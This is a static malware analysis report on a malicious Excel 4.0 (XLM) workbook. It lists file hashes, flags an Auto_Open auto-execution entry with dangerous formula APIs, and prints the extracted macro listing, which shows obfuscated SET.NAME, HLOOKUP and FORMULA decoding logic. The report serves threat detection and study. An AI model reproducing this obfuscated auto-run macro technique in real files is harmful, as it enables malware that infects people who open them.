Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7478a118a7ee2017…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:43:04 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: ca4bd745be8fb533d01fc938d244cdab SHA-1: 88ddb46a44dc620549263cc3a87230c47c437051 SHA-256: 7478a118a7ee201707e73547368f022d1fad0f7c6598c6a2ca42ae9d2ce50cfc
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6431 bytes
SHA-256: 707c6a7f2797d83f222dec49fc414866d0865c57e7b59a21a65abdae255cb204
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  RXd
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H162 
' 0018     27 LABEL : Cell Value, String Constant - bLGbsHoLOvPG len=0 
' 0018     23 LABEL : Cell Value, String Constant - bPFQdwnt len=0 
' 0018     26 LABEL : Cell Value, String Constant - BPxCDUwFSjT len=0 
' 0018     27 LABEL : Cell Value, String Constant - clENXOmGhayK len=0 
' 0018     23 LABEL : Cell Value, String Constant - DcEOBvfB len=0 
' 0018     24 LABEL : Cell Value, String Constant - dNuaFtfSQ len=0 
' 0018     27 LABEL : Cell Value, String Constant - FgZeyMxDrAbS len=0 
' 0018     27 LABEL : Cell Value, String Constant - hJvJXEluwAnJ len=0 
' 0018     25 LABEL : Cell Value, String Constant - hSRblqJsDC len=0 
' 0018     23 LABEL : Cell Value, String Constant - hulsgZLi len=0 
' 0018     23 LABEL : Cell Value, String Constant - LaWOnWZD len=0 
' 0018     23 LABEL : Cell Value, String Constant - ljpwASvD len=0 
' 0018     27 LABEL : Cell Value, String Constant - MsgfWcIxkidD len=0 
' 0018     25 LABEL : Cell Value, String Constant - NpSasTxunx len=0 
' 0018     21 LABEL : Cell Value, String Constant - nUSfWB len=0 
' 0018     27 LABEL : Cell Value, String Constant - OEDXEDLdENHQ len=0 
' 0018     20 LABEL : Cell Value, String Constant - uGuIP len=0 
' 0018     21 LABEL : Cell Value, String Constant - wSUIjh len=0 
' 0018     26 LABEL : Cell Value, String Constant - xJTpJgFZGqF len=0 
' 0018     23 LABEL : Cell Value, String Constant - yFUSCaLr len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  RXd,H73,"SET.NAME("NpSasTxunx",VALUE("0"))",""
'  RXd,H76,"SET.NAME("xJTpJgFZGqF",NpSasTxunx)",""
'  RXd,H79,"SET.NAME("ljpwASvD",NpSasTxunx)",""
'  RXd,H83,"SET.NAME("yFUSCaLr",COUNTA(uGuIP))",""
'  RXd,H85,"SET.NAME("DcEOBvfB",COUNTA(clENXOmGhayK))",""
'  RXd,H89,[],""
'  RXd,H93,"SET.NAME("MsgfWcIxkidD","")",""
'  RXd,H95,"xJTpJgFZGqF",""
'  RXd,H97,"SET.NAME("hSRblqJsDC",HLOOKUP("*",uGuIP,xJTpJgFZGqF,FALSE))",""
'  RXd,H101,"wSUIjh",""
'  RXd,H106,"SET.NAME("hulsgZLi",NpSasTxunx)",""
'  RXd,H109,[],""
'  RXd,H112,"hulsgZLi",""
'  RXd,H115,"nUSfWB",""
'  RXd,H117,"bPFQdwnt",""
'  RXd,H119,"FgZeyMxDrAbS",""
'  RXd,H121,"SET.NAME("BPxCDUwFSjT",VALUE(HLOOKUP("*",clENXOmGhayK,FgZeyMxDrAbS,FALSE)))",""
'  RXd,H126,"bLGbsHoLOvPG",""
'  RXd,H131,"MsgfWcIxkidD",""
'  RXd,H134,"ljpwASvD",""
'  RXd,H139,NEXT(),""
'  RXd,H141,"LaWOnWZD",""
'  RXd,H145,"SET.NAME("f",INT(T(FORMULA(T(MsgfWcIxkidD)&"",""&T(LaWOnWZD)))))",""
'  RXd,H150,"hJvJXEluwAnJ",""
'  RXd,H153,NEXT(),""
'  RXd,H157,RETURN(),""
'  RXd,H189,"SET.NAME("dNuaFtfSQ",H73)",""
'  RXd,H192,"uGuIP",""
'  RXd,H197,"SET.NAME("clENXOmGhayK",R98C11)",""
'  RXd,H199,"SET.NAME("hJvJXEluwAnJ",205)",""
'  RXd,H202,"SET.NAME("OEDXEDLdENHQ",8)",""
'  RXd,H204,dNuaFtfSQ(),""
'  RXd,H205,HALT(),""